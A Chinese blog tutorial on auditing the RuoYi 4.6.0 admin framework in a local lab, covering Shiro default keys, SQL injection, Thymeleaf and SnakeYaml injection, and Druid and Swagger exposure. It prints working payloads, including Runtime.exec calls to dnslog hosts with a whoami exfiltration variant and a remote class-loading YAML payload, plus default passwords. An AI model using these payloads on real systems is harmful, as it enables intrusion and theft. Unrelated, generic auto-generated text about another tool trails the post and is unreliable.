代码审计之若依系统

文章目录


前言

      若依是一套全部开源的快速开发平台,在日常工作中也会遇到很多若依搭建的网站,或者基于若依二开的网站,因为是以学习为目的,所以选择低版本下载,未选择最高版本,本文搭建版本是4.6.0版本,源码可以访问链接下载:https://gitee.com/y_project/RuoYi/releases。


一、本地项目部署

     1)项目下载完解压后为下图所示:
在这里插入图片描述
     2)因为该框架采用了SpringBoot,所以只需要导入数据库即可。本文项目使用phpstudy开启mysql5。
在这里插入图片描述
     3)连接数据库。
在这里插入图片描述
     4)创建ruoyi数据库并使用。
在这里插入图片描述
     5)将sql文件夹中的quartz.sql和ry_20201214.sql两个文件导入到ruoyi数据库中,注意使用正斜杠。
在这里插入图片描述
在这里插入图片描述
     6)使用IDEA打开若依系统,等待Maven自动加载依赖项,如果pom.xml文件有报错,依赖未成功安装,可如下图查看maven配置如何,可能是没有配置好maven环境。
在这里插入图片描述
     7)项目结构如下所示:
在这里插入图片描述
     8)若依模块简述。

模块名称简述
ruoyi-admin启动模块,启动配置在resource的yml下
ruoyi-framework主题框架模块,框架怎么运行的仔细看看,这个是核心重点
ruoyi-system业务模块,几乎所有业务都在这里
ruoyi-quartz定时任务模块,跑的定时任务基本都在这里
ruoyi-generator基础公共表的操作,相当于基础表和基础业务存放位置
ruoyi-common公共代码模块,list转set什么的一般放这里,自己不要瞎写方法,公共的都放这里

     9)配置若依系统。
在这里插入图片描述
     10)在application.yml中路径可自己修改,端口也是可以修改,嫌麻烦默认也可以。
在这里插入图片描述
     11)在application-druid.yml中配置数据库账号密码还有把3306后边的 ry 改成 ruoyi,因为刚刚创建数据库的名字是ruoyi。
在这里插入图片描述
     12)启动项目。
在这里插入图片描述
     13)访问项目,本文项目地址为:http://127.0.0.1:25001/login,若依系统的账号密码为:admin/admin123 或 ry/admin123,若依系统默认是记住账号口令,所以搭建完成时最好记得删除,否则可能就会有人报漏洞了!!!
在这里插入图片描述

二、漏洞挖掘

1.整理思路

     由于是菜鸟,所以目前对采用sprintboot框架审计的思路是,先看pom.xml文件看看是否存在有漏洞的组件,然后可以再去系统的功能点做黑盒测试,在看代码片段。

2.shiro反序列化漏洞

     1)发现shiro组件,shiro常见的两个漏洞:一个是默认秘钥,一个是权限绕过。
      AES秘钥在1.2.4版本及之前版本是硬编码在代码里的,可以通过GitHub开源的shiro代码获取AES密钥。1.2.5版本以后shiro提供了AES密钥的随机生成代码,但是如果仅进行shiro的版本升级,AES密钥仍硬编码在代码中,仍然会存在反序列化风险。
      权限绕过影响的版本是小于1.8.0,本文中shiro组件版本为:1.7.0。实际工作中有的开发可能就会不自己生成key,而使用随机生成的,所以可用反序列化工具爆破一波默认密钥,本文搭建的环境没有更改所以存在默认key。
在这里插入图片描述
     2)代码审计中可以全局搜索:setCipherKey,因为 setCipherKey 方法是修改密钥的。查看是否存在,存在就说明有默认key,本次项目存在。
在这里插入图片描述
     3)如果想要查看具体的密钥值,可在全局搜索:cipherKey,就会发现具体的密钥值是什么。
在这里插入图片描述
     4)权限绕过漏洞在代码审计中,可在项目中找到shiro的配置文件,然后找到shiro的过滤器配置文件。
在这里插入图片描述
     5)shiro过滤器中,anon表示匿名访问也就是无需认证即可访问,authc表示需要认证才可访问,所以我们可以看下有没有authc,是否可能存在未授权访问的问题。
在这里插入图片描述
     6)可以发现当前项目中设置了所有请求需要认证,所以不存在权限绕过漏洞,关于URL的匹配规则可看总结中的第二点。
在这里插入图片描述

2.SQL注入

     1)漏洞点为系统管理中的角色管理的搜索功能,使用百度搜索的poc,发现注入点参数为:params[dataScope]。

POC:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))

在这里插入图片描述
     2)通过网上的POC我们已知注入点了,在审计一下看看。SpringBoot中的SQL注入一般都是因为使用了 $ 的原因。可以全局搜索 $ 并匹配 .xml 文件类型,快速查看是否存在SQL注入,发现前端多个位置存在这个注入点。
在这里插入图片描述
     3)那就选择第一个先跟一下流程吧,现在是在resources中的SysDeptMapper.xml文件中。
在这里插入图片描述
     4)找到 id 然后按住ctrl+左键进入到dao(mapper)层。
在这里插入图片描述
     5)继续在 selectDeptList 上按住ctrl+左键往上,跟看谁调用的,会发现有四个选择第四个肯定不是了,从那来的,另外三个都在一个文件中,随便选择一个吧。
在这里插入图片描述
     6)来到serveice层,根据注释和代码发现,第一处是查询部门数据,也知道是在部门管理的功能处
在这里插入图片描述
     7)继续跟 selectDeptList 进入 controller 层,发现最终前端调用处为调用列表的相关功能,比如搜索,刷新等操作,路径为/system/dept/list,请求方式为post。
在这里插入图片描述
在这里插入图片描述

3.Thymeleaf模板注入

     1)先复现一下漏洞,此漏洞需要登录,先用dnslog获取一个域名。
在这里插入图片描述

     2)给payload编码一下,选URL编码。

${T (java.lang.Runtime).getRuntime().exec("curl mvu60v.dnslog.cn")}

在这里插入图片描述
     4)这里需要多点几次,然后成功接到请求。由于是500界面没有回显,后来就尝试了一下dnslog外带,命令执行,结果发现不行。
      dnslog外带命令:

${T (java.lang.Runtime).getRuntime().exec("curl `whoami`.mvu60v.dnslog.cn")}

在这里插入图片描述

4.SnakeYaml 反序列化

     1)定时任务处存在RCE漏洞,可以反弹shell,先用dnslog验证一下,先获取一个dnslog的域名。
在这里插入图片描述
     2)然后登录系统,系统监控—定时任务处,选择新增,dnslog域名换成自己获取的,其他随意填写,然后确认。

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://a85o5r.dnslog.cn/"]]]]')

在这里插入图片描述
     3)然后选择更多操作—执行一次,查看dnslog是否有响应。
在这里插入图片描述
     4)发现成功响应。
在这里插入图片描述
     5)代码审计时正常查看所有的pom.xml文件,如果存在snakeyaml依赖包就可以尝试snakeyaml反序列化漏洞,本文可全局搜索:snakeyaml依赖包。
在这里插入图片描述
     6)如果只是引用了snakeyaml包不能百分百保证存在反序列化漏洞,也可能在序列化时做了一些防护措施,比如把每个 !! 修饰过的类都转成了一个 TAG,这时可全局搜索查看是否有tag:yaml.org,2002:,没有就存在反序列化漏洞。一般SnakeYaml对Java对象进行序列化或反序列化都会出现如下所示格式,所以就全局搜索 yaml ,查看是否有类似下面格式的,可以发现不光有下面的格式还有yaml.dump和yaml().load()函数。

  Yaml yaml = new Yaml();

在这里插入图片描述

     7)点进去可以看到这里进行了序列化,并且全局搜索也没有tag:yaml.org,2002:,所以存在反序列化漏洞。
在这里插入图片描述

5.Druid未授权访问

     1)若依系统内置了Druid,所以会有可能有未授权访问或者弱口令,未授权访问路径常见的有 /druid/,/prod-api/druid/,/api/druid/等,这是常见的,也可以直接扫一波,弱口令就是 ruoyi/123456 或者 admin/123456。
在这里插入图片描述
     2)审计时可直接搜索druid,并查看路径位置。
在这里插入图片描述

6.swagger-ui.html接口文档

     1)这个一般就是使用相关工具或者字典扫一下,然后try it out试试看,是否路径都做了鉴权,有没有信息泄露等。
在这里插入图片描述
     2)点击try it out 然后构造参数之后,再点击execute执行,拼接路径。
在这里插入图片描述
     3)造成信息泄露,获取账号密码。
在这里插入图片描述
     4)审计的话就全局搜索:swagger-ui.html,存在的话看下路径然后访问下,看看有没有鉴权什么的。
在这里插入图片描述

三、总结

1.Fastjson反序列化

     1)本文搭建的环境为:1.2.74,Fastjson <= 1.2.68 都是存在漏洞的,关于Fastjson v1.2.80 绕过的文章很少,所以就先放弃学习吧。
     2)Fastjson 通过函数 parse 或者 parseObject 来完成字符串的反序列化操作,并且可以通过 @type 来指定反序列化的类型,,所以在遇见1.2.68以下版本时,可全局查找这两个关键函数。

2.shiro反序列化

     1)简单梳理下基础内容,Apache Shiro是一个执行身份验证、授权、密码和会话管理的Java安全框架。
      Shiro反序列化的目的是为了让浏览器或服务器重启后用户不丢失登录状态,因为Shiro 支持将持久化信息序列化,并且加密后可以保存在 Cookie 的 rememberMe 字段中,方便下次读取时进行解密再反序列化。
      反序列化漏洞的原理是因为Shiro内置了一个默认且固定的加密 Key,可被攻击者通过伪造的rememberMe Cookie去触发反序列化漏洞,过程为:Cookie获取rememebrMe值->base64解码->AES解密->反序列。
      在高版本中如果开发者没有手动设置密钥那么每次服务启动时都会随机生成一个密钥,本文搭建的环境就存在。
     2)shiro中的url匹配规则为:

/admin只匹配固定的URL,比如 http://xxx.com/admin,只能匹配到 http://xxx.com/admin
/admin?匹配一个字符,比如 http://xxx.com/admin?,将匹配“ /admin1”、“/admin2”,但不匹配“/admin”
/*匹配零个或多个字符串,比如 http://xxx.com/admin/*”,将匹配 /admin/路径下的任意内容 ,但是不匹配多个路径,如 http://xxx.com/admin/1/2就匹配不到
/**匹配路径中的零个或多个路径 ,比如http://xxx.com/admin/**,将匹配/admin/下级的所有路径中的内容,http://xxx.com/admin/xxxx/asd

3.SQL注入

     1)${ }和#{ }的区别如下:

#{ }相当于jdbc中的preparedstatement,传入的字符串,需要赋值后使用,可以有效防止sql注入。
$ { }是输出变量的值,传入的变量,可直接拼接在sql中执行,无法防止sql注入。

      就是 #{ } 传过来的参数带单引号的,而${ }传过来的参数不带单引号。
     2)在SpringBoot框架中,通常流程是controller层接收前端请求然后调用service层,serveice层的业务逻辑去调用dao访问数据库做增删改查操作,dao在调用sources中的对应的.xml文件做具体的SQL语句,sql语句都是在.xml文件中写的,而不是在Java代码中直接利用connection连接数据库进行查询,这样层次更清晰,代码也更容易维护。因为具体的SQL语句都在.xml文件中,所以可以在.xml文件中搜索 $ 符号,快速寻找是否存在SQL注入漏洞。

4.SnakeYaml反序列化

     1)SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统使用了snakeyaml 的jar包,可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令。
     2)Yaml.dump():把yaml格式的数据序列化变为YAML字符串或者YAML流,Yaml.load()反序列化生成java对象。
     3)!! 是用于强制类型转化,强制转换为!!后指定的类型,类似于fastjson中的@type用于指定反序列化的全类名。

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Github-Seay源代码审计系统是一种开源的、基于Web代码审计工具,旨在帮助开发人员发现和解决安全漏洞,提高软件安全性。 该系统可以分析Java、C++、C#等多种编程语言的代码,并对其中的安全漏洞进行识别和标记,包括SQL注入、跨站脚本攻击等常见的Web安全问题。还可以自定义规则和规则集,根据自己的需求进行代码分析和漏洞检测。 Github-Seay源代码审计系统的特点包括: 1.开源免费。该系统完全开源,任何人都可以免费使用和修改源代码。 2.支持多种编程语言。可以对多种编程语言的代码进行分析,极大方便了企业的使用。 3.操作简便。系统的界面非常简单,使用起来也非常容易,减少了用户对于操作流程的了解和资质。 4.支持自定义规则。开发人员可以根据自己的需求和项目特点,自定义规则和模板,更好的定制化。 5.漏洞检测准确。该系统内置了丰富的漏洞检测规则,可以快速检测和识别代码中存在的安全问题。同时,Github-Seay持续更新漏洞库与规则,并推动维护人员第一时间修复其中的漏洞。 总的来说,Github-Seay源代码审计系统是一款非常优秀的开源安全审计工具,可以帮助开发人员协助侦测代码中的漏洞并提升软件安全性。 ### 回答2: Github-seay源代码审计系统是一套基于GitHub的源代码安全审计系统,它能够帮助用户以高效、快速、准确的方式对开源项目进行安全审计。该系统利用了GitHub上广泛的项目资源和社区力量,通过代码自动化分析和漏洞扫描等功能,对代码中的安全漏洞进行检测和修复,以帮助用户有效保护自己的项目。 该系统有以下几个主要特点:一是开源免费,且使用自由方便;二是在GitHub上进行,使得项目的审计和修复流程更加高效、方便;三是支持自动化分析和漏洞扫描,可以快速发现代码漏洞;四是利用了社区力量,形成了审核互助的积极氛围;五是提供了专业的代码审计服务,可以对用户提交的代码进行专业安全审计,以提高代码质量和安全性。 使用Github-seay源代码审计系统可以帮助用户更好地进行代码安全审计工作,尽快发现并修补代码中的漏洞,提高项目的安全性和稳定性。同时,该系统对于代码审计爱好者和安全研究人员也提供了学习和交流的平台,可以借此共同促进代码安全事业的发展。 ### 回答3: GitHub-Seay源代码审计系统是一款高效、可靠的源代码审计工具。 该系统能够对代码进行全面的检查和分析,探测出代码中的漏洞安全隐患,提高代码的安全性和稳定性。它能够充分利用GitHub平台的资源,从源代码仓库中获取代码进行分析,并直接在GitHub上生成审计结果报告。 该系统采用模块化设计,包含语法分析器、符号执行器、数据流分析器、模式匹配器等多个模块。同时,该系统还支持多种编程语言,如Java、C++、JavaScript、Python等,能够适应不同语言的编码规范和特点。 该系统具有以下特点: 1. 高效可靠:系统采用自动化工具进行代码审计,检查范围广泛,及时反馈审计结果,有效减少人为因素干扰。 2. 多语言支持:该系统支持多种编程语言,适应不同语言的审计需求。 3. 模块化设计:该系统采用模块化设计,每个模块都具有独立的功能,协同工作有效提高代码审计效率。 4. 安全稳定:该系统能够发现和修复代码中的安全隐患,提高代码的安全性和稳定性。 总之,GitHub-Seay源代码审计系统是一款高效、可靠、安全、稳定的代码审计工具,适用于各类企业和组织的代码审计需求。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值